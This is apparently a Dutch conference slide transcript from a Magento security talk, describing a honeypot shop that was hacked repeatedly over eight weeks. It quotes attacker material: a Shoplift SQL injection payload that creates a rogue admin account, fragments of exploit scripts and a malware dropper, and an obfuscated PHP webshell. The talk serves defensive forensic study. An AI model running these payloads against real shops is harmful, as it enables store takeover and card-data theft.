hackers traced - meet magento 2016
TRANSCRIPT
Hackers traced, a case study
17× gehackt in 8 weken, we pakken ze terug!
ing. Tim Muller, developer @ Byte / MageReport.com
Hoe het begonOnze eigen shop werd - tot onze schande - gehackt via Shoplift
Tijd voor een experiment!Hoe komen hackers binnen?Wat doen ze met de shop?Wat houden we aan het eind over?
MethodeNauw volgen wat de hackersuitvoeren & wat voor impact ditheeft op de shop.
Precies het tegenovergestelde doen! We bouwen een "unmanaged VPS" metstandaard 1.9.0 installatie.
Stap 1: Strippen van HypernodeFilters op de bekende aanvalspatronenHeuristische lters op nieuwe aanvallenRate limits op bots en onbekende loginsDirectory listing aan voor bijv. /var/cache en .git bestanden
Stap 2: Aanpassen MagentoInstalleren standaard MagmiStandaard admin url met admin account 'admin123'
Stap 3: Toevoegen forensische maatregelenLegitiem verkeer blokkeren (zoekmachines)
Uitschakelen SSLTCPDUMP
IJk-kopie van database en lesRoot-protected Git repositoryRedirect uitgaande mailLogrotatie uitPeriodieke vergelijking van veranderingen (les & database)
ufw deny from 62.4.6.50/24
tcpdump -pni eth0 -s65535 -G 86400 -w 'trace_%u.pcap' port not 22
Stap 4: Analyseren van gedragRegelmatig kopiëren van bewijsDe accesslogs strippen van ruisScripts voor herproduceerbaar resultaat
Git noticatie
Database noticatie
Overzicht Admin-accountsDatum Naam Achternaam E-mail
2016-03-11 Byte Shop [email protected]
2016-03-21 Firstname Lastname [email protected]
2016-03-25 Firstname Lastname [email protected]
2016-04-05 Firstname Lastname [email protected]
2016-04-17 Firstname Lastname [email protected]
2016-04-20 Firstname Lastname [email protected]
2016-04-24 Firstname Lastname [email protected]
2016-04-30 Firstname Lastname [email protected]
2016-05-04 Firstname Lastname [email protected]
Admin accounts [email protected] gebruikers 'ghaz', 'sadmin' & 'temp_admin' 104.41.210.214 POST /index.php/admin/Cms_Wysiwyg/directive/index/
popularity[from]=0&popularity[to]=3&popularity[field_expr]=0); SET @SALT = 'rp'; SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'asdf') ), CONCAT(':', @SALT )); SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; INSERT INTO admin_user (firstname, lastname ,email ,username ,password ,created, lognum ,reload_acl_flag ,is_active ,extra ,rp_token ,rp_token_created_at) VALUES ('Firstname','Lastname','[email protected]', 'ghaz',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); INSERT INTO admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'ghaz'),'Firstname');
Admin account [email protected] argparse.ArgumentParser(description='Exploit for Magento Shoplift Vulnerability')
options.add_argument('m', 'malware', action='store_true', default=False, help='Install the PHP malware')
malwareDropper = "...INSERT INTO core_file_storage..." Assault = filt + adminMake + malwareDropper + commenter latent2 = latent2 + b64encode(Assault) r = requests.post(mageRoot, headers=headers, data='filter' : latent2, '___directive' : latent1, 'forwarded': '1', allow_redirects=True)
Database storage is een interessant doel voor hetuploaden van malware door /get.php
"It's a old-rod"README.md op Github:
"*oldrod is the shing rod tool from Pokemon. Inthe Gen I Pokemon games, all it could catch wasLvl.5 Magikarp *Although, at the time of writing,there are 65,377 vulnerable Magento installs andcounting^, They all seem like Lvl.5 Magikarp tome. All the Gyrados wisened up."
Admin account @telekpitekwashere.cokDezelfde SQL injection techniek
/* ++++++++++++++++++++++++++++++++++ ShopLift Exploiter Beta Version Author : FathurFreakz Use : php thisfile.php "Dork" YOGYAKARTA BLACK HAT Special Thanks to Nabiila Rizqi Khasanah +++++++++++++++++++++++++++++++++ */
Admin account @telekpitekwashere.cokShopLift Exploiter Beta Version
"Dork" is de target233 regels aan search engine crawl codeLeest /etc/local.xml (ook via Magmi)
Ons eigen admin account is overgenomen Op 5 april is het originele account overgenomen door 'majid'Via Shoplift admin account 'sadmin'Via MagPleasure 'File_System' aanpassen van /api.php
/api.php
<?php
$auth_pass = "6b5b0dd03c9c85725032ce5f3a0918ae"; //password: enzo function onESs($NTlWmu) $NTlWmu=gzinflate(base64_decode($NTlWmu)); for($i=0;$i<strlen($NTlWmu);$i++) $NTlWmu[$i] = chr(ord($NTlWmu[$i])1); return $NTlWmu;
eval(onESs("LX33juPqcucDGPA7HBj...knmClb6l7///d/+9//6/w=="))
?>
/api.php e-mail
/api.php, wat doet het?Geeft 404 Not found als:
de user-agent een zoekmachine isde credentials niet goed zijnde GET requesten niet geauthenticeerd zijn
/api.php, wat doet het?
FilesMan
/api.php, wat heeft de hacker gedaan?/magmi/tests/imports/ImportSuite1Test.php bekeken (?)Upload en uitpakken van fortuneo.zip naar js/lib/js/lib/bloge/identication/cong.db1.php aangepastjs/lib/bloge/identication/cong.db2.php aangepast< $send = "[email protected]"; > $send = "[email protected]";
6 verschillende IPs
/api.php, wat heeft de hacker gedaan?fortuneo.zip
Blacksmith Hackers Team <title>MrGHOST PRiv8 sHeLL</title>
<a href="https://facebook.com/blacksmith.hackers"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSU.."></a>
8 weken later...
8 weken later...26749 brute force requests op /admin150 Shoplift aanvallen9 extra admin accounts365 extra les toegevoegd10 phishing pagina's
8 weken later...Achter de schermen heeft shop.byte.nl nu ook
WebshellsPhishing pagina'sProxies naar andere sites
En de schade(Franse) creditcardgegevens en bankgegevens gelektDe controle over de shop kwijtDe codebase is vervuild
Proberen ze zich te verbergen?Methode van verbergen
Obscure code (eval, base64 gzinate) ^ 2Random hashes in URLGoogle Crawlers en GET requesten worden tegengehoudenToont pas de lemanager wanneer credentials juist zijnMeta headers redirect naar externe websiteFake user-agents bijv. Google
Proberen ze zich te verbergen?Geen moeite doen
Admin accountsBrute forces op admin accountsOvernemen van de adminRondslingeren van bestanden
Geen nieuwe patches, toch gehackt!Mogelijk hebben de 'boeven' een nieuwe manier gevonden.Onderzoek de hack, deel of betrek ons (Byte/MageReport) erbij
Wat wij kunnen:
Wat wij kunnen betekenen
Omvang van de hack onderzoekenSecurity check op MageReport met een groot bereik vanshophoudersCommunicatie met Magento